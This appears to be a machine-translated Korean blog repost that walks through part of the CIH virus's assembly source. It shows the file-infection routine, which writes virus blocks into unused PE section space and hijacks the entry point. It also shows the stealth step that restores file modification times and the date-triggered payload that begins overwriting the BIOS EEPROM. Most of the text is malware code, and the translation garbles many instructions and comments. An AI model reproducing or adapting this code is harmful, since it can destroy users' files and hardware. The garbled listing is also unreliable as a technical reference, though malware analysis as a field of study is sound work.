>  기사  >  백엔드 개발  >  바이러스 프로그램 소스코드 예제 분석 - CIH 바이러스[4]

바이러스 프로그램 소스코드 예제 분석 - CIH 바이러스[4]

黄舟
黄舟원래의
2017-01-17 11:23:271901검색

push eax ; 블록 테이블 크기
push edx 는 바이러스 코드 블록 테이블의 오프셋입니다.
push esi ; 바이러스 코드 블록과 바이러스 코드 블록 테이블을 병합합니다. 전체 크기는 사용되지 않은 공간
inc ecx
push ecx ; Save NumberOfSections+1

shl ecx, 03h ; 8을 곱함
push ecx ; 테이블 공간
 
 add ecx, eax
 add ecx, edx ;ecx+파일 텍스트의 오프셋
 
 sub ecx, (SizeOfHeaders-@9)[esi]
ecx 아님
Inc ecx ; Complement, ecx는 파일 헤더 크기 - 텍스트 오프셋 = 사용되지 않은 공간

push ecx

xchg ecx, eax ;ecx는 블록 테이블 크기
🎜> mov eax, (AddressOfEntryPoint-@9][esi] ;엔트리 RVA 주소
add eax, (ImageBase-@9)[esi] ;기본 주소 로드
mov (OriginalAddressOfEntryPoint-@9)[esi ], eax ;로딩 후 실제 항목 주소 저장
 
;사용하지 않은 공간을 바이러스의 첫 번째 블록 크기와 비교하여 감염 플래그를 설정한 것보다 작은 경우
 cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark

; 모든 바이러스 블록 테이블 읽기
mov eax, ebp ; 읽기 함수 번호
edi 읽기(@9)
; Winzip 자동 압축 풀기 파일을 처리할 때 발생하는 오류는 다음과 같이 완전히 수정됩니다. 사용자가 자동 ​​압축 풀기 파일을 열면 바이러스가 감염되지 않습니다. 먼저 바이러스는 두 번째 블록 테이블의 ToRawData 포인터를 얻습니다. ,
; 블록 데이터를 읽고 "WinZip(R)"이라는 단어가 포함되어 있는지 확인합니다. (SizeOfScetionTable+PointerToRawData-@9][ebx]
 ;edx는 두 번째 블록(.rdata)의 오프셋입니다. )
 
 add edx, 12h;10h+2h 추가(10h는 "WinZip. ...")
 
 call edi;esi에 4바이트 읽기
 
 ;여부 확인 Winzip 자동 압축 해제 파일인 경우 감염 플래그를 설정하지 마세요
 cmp dword ptr [esi] , 'piZn'
je NotSetInfectedMark

pop edx는 Winzip의 첫 번째 주소를 가리킵니다. 파일의 블록 테이블

; 바이러스 코드 차단 테이블 설정
pop ebx ; 사용되지 않은 공간
pop edi ;edi = TotalSizeOfVirusCodeSectionTabl
pop ecx = NumberOfSections+1

push edi
add edx, ebp ; ebp는 블록 테이블 크기입니다.
push edx ;
add ebp, esi는 바이러스 데이터 영역의 블록 테이블을 가리킵니다. 첫 번째 블록)
push ebp ; 버퍼 주소

; 첫 번째 바이러스 코드 블록의 크기 설정
Lea eax, [ebp+edi-04h]
mov [eax], ebx

; 첫 번째 바이러스 블록 설정
바이러스 코드의 첫 번째 블록 크기

Add edx, edi
push edx ; (MyVirusStart-@9)[esi]
push edi ; 버퍼 주소

; AddressOfEntryPoint 항목을 Virus 항목
으로 수정합니다. mov (NewAddressOfEntryPoint-@9) [esi], edx ; 프로그램 항목(바이러스 텍스트)

; 초기 데이터 설정
lea edx, [esi-SizeOfScetionTable] edx 먼저 블록 테이블 길이를 줄입니다.
mov ebp, offset VirusSize ; virus

jmp StartToWriteCodeToSections

; 바이러스 블록에 정보 쓰기
LoopOfWriteCodeToSections:
add edx , SizeOfScetionTable
mov ebx, (SizeOfRawData-@9)[edx] ; ebx는 블록 테이블 항목의 SizeOfRawData(블록 크기)입니다.
sub ebx, (VirtualSize-@9][edx] ; 빼기 VirtualSize는 블록의 사용되지 않은 공간
jbe EndOfWriteCodeToSections

과 같습니다. push ebx ; 크기

sub eax, 08h
mov [eax], ebx ; 바이러스 차단 테이블 쓰기

mov ebx, (PointerToRawData-@9)[edx] ;ebx 블록의 물리적(실제) 오프셋
add ebx, (VirtualSize-@9)[edx] ;add VirtualSize
push ebx ;ebx 블록의 사용되지 않은 공간을 가리키는 파일 포인터

push edi ; 버퍼 주소

mov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9 )[edx]
 add ebx, (ImageBase-@9)[ esi] ;ebx는 블록이 로드된 후의 실제 주소입니다.
mov [eax+4], ebx ;바이러스 블록 테이블에 저장
 
 mov ebx, [eax] ; block
 add (VirtualSize-@9)[edx], ebx ;블록 테이블 항목에 VirtualSize 추가
 
;블록 테이블 항목의 블록 속성 변경(읽을 수 있고 초기화 데이터를 포함하도록 변경)
또는 (Characteristics-@9)[edx], 40000040h

코드 작성 시작
StartToWriteCodeToSections:
sub ebp, ebx; 바이러스 크기 - 바이러스 블록 크기

미만인 경우(바이러스 삽입 완료) 바이러스 차단 테이블 끝 문자 설정
jbe SetVirusCodeSectionTableEndMark

add edi , ebx; 바이러스 다음 블록 가리킴
 
 코드 작성 끝
 EndOfWriteCodeToSections:
loop LoopOfWriteCodeToSections
 
 OnlySetInfectedMark:
 mov esp, dr1 ;감염 플래그만 설정
 
jmp WriteVirusCodeToFile ; 감염될 파일에 바이러스를 쓰는 프로그램으로 이동

감염 플래그를 설정하지 않음
NotSetInfectedMark:
add esp, 3ch
jmp CloseFile ;CloseFile로 이동

바이러스 차단 테이블 및 표시 설정
SetVirusCodeSectionTableEndMark:
바이러스 차단 코드 조정
add [eax], ebp 바이러스 차단의 마지막 항목 수정 ; table
add [esp+08h], ebp
 
 ;블록 테이블 종료 플래그 설정
 
 lea eax, (LastVxdCallAddress-2-@9)[esi] ; 마지막 Vxd 명령 호출
 
 mov cl, VxdCallTableSize;사용된 Vxd 호출 수

LoopOfRestoreVxdCallID:
 mov word ptr [eax], 20cdh;"int 20h" 형식으로 복원
 
 ;VxdCallIDTable에서 Vxd 호출의 id 번호를 꺼내서 edx에 넣습니다
 mov edx, (VxdCallIDTable+(ecx-1 )*04h-@9)[esi]
 
 mov [eax+2], edx ;"int 20h" 뒤에 넣으세요
 
 ;Vxd를 호출하는 각 명령어의 주소는 VxdCallAddressTable Difference
 movzx edx, byte ptr (VxdCallAddressTable+ecx -1-@9)[esi]
 
 sub eax, edx; 이전 호출 주소
 
 loop LoopOfRestoreVxdCallID; Restore 기타 호출

; 파일
WriteVirusCodeToFile:
mov eax, dr1; dr1은 이전에 저장된 esp입니다.
mov ebx, [eax+10h] ebx 스택에 저장된 파일 핸들
을 저장합니다. [eax] ; edi는 스택에 저장된 IFSMgr_Ring0_FileIO 호출 주소입니다.

; 루프 쓰기
LoopOfWriteVirusCodeToFile:
pop ecx ; jecxz SetFileModificationMark ; zero

mov esi, ecx
mov eax, 0d601h ; 쓰기 파일 함수 번호(R0_WRITEFILE)
pop edx ; 쓸 바이트 수

edi 호출 ; VXD는 IFSMgr_Ring0_FileIO를 호출하여
파일을 작성합니다. ; 바이러스 코드, 바이러스 차단 테이블 및 새
를 차례로 작성합니다. ;파일 차단 테이블, 새 프로그램 항목, 감염 플래그
 jmp LoopOfWriteVirusCodeToFile
 
 ; 파일이 수정되었음을 사용자가 알 수 없도록 파일의 마지막 수정 시간을 수정합니다.
 SetFileModificationMark:
 pop ebx
pop eax

stc ; 캐리 플래그 설정
pushf ; 스택에 플래그 푸시
CloseFile:
xor eax, eax
mov ah , 0d7h ;파일 닫기 함수 번호
edi ; Vxd는 IFSMgr_Ring0_FileIO를 호출하여 파일을 닫습니다

popf
pop esi
jnc IsKillComputer ; 캐리 플래그가 0이면 KillComputer로 전환합니다

파일 수정 시간 복원
mov ebx, edi

mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@ 7) [esi]
call ebx; Vxd는 IFSMgr_Ring0_FileIO를 호출하여 파일의 마지막 수정 시간을 수정합니다.


"사용 중"이 아닌 플래그 설정
DisableOnBusy:
dec byte ptr (OnBusy -@7)[esi ]

; 원본 FileSystemApiHook 호출
prevhook:
popad; 모든 레지스터 복원

mov eax, dr0; 첫 번째 주소
jmp eax] ;

pIFSFunc:
mov ebx, ebx를 실행하기 위해 원래 후크로 이동하여 FileSystemApiHookFunction의 매개변수 주소를 가져옵니다.
push dword ptr [ebx +20h+04h+ 14h] ; 매개변수 pioreqpir을 스택에 푸시
call [ebx+20h+04h] ; pIFSFunc FSDFnAddr
pop ecx

mov [ebx+1ch], eax  
 ; pIFSFunc 호출 후 반환값 pioreq
 cmp dword ptr [ebx+20h+04h+04h], 00000024h
 jne QuitMyVirusFileSystemHook
 
 
; DOS 모드에서 파일의 수정 날짜 및 시간
mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax ;획득한 파일 시간과 날짜 저장
 

;바이러스 프로그램 종료
QuitMyVirusFileSystemHook:
popad;모든 레지스터 복원

ret ; 바이러스가 설정한 파일 후크 프로그램 종료

; 컴퓨터 BIOS를 삭제합니다.
IsKillComputer:
; BIOS CMOS에서 현재 날짜를 가져옵니다. mov al, 07h
out 70h, al
in al, 71h

jmp 비활성화OnBusy
ELSE
jnz 비활성화OnBusy 26일이 아닌 경우
ENDIF

; BIOS EEPROM 삭제 시작 *
mov bp, 0cf8h
lea esi, IOForEEPROM-@7[esi]
 
000E0000 - 000EFFFF 주소 세그먼트의 BIOS 페이지를 표시합니다. 총 64KB
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
 
 ;000F0000 - 000FFFFF 주소 세그먼트의 BIOS 페이지 표시, 총 64KB
 mov di, 0058h
 dec edx; 및 a0fh
 mov word ptr (BooleanCalculateCode-@10)[esi ], 0f24h
esi

호출; BIOS의 ROM 데이터, 총 512바이트
및 쓰기 가능한 BIOS 블록
lea ebx, EnableEEPROMToWrite -@10[esi]
 
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

위는 바이러스 프로그램 예제 분석-CIH 바이러스 내용 [4]의 소스 코드입니다. PHP 중국어 웹사이트(www.php.cn)를 주목하세요!


성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.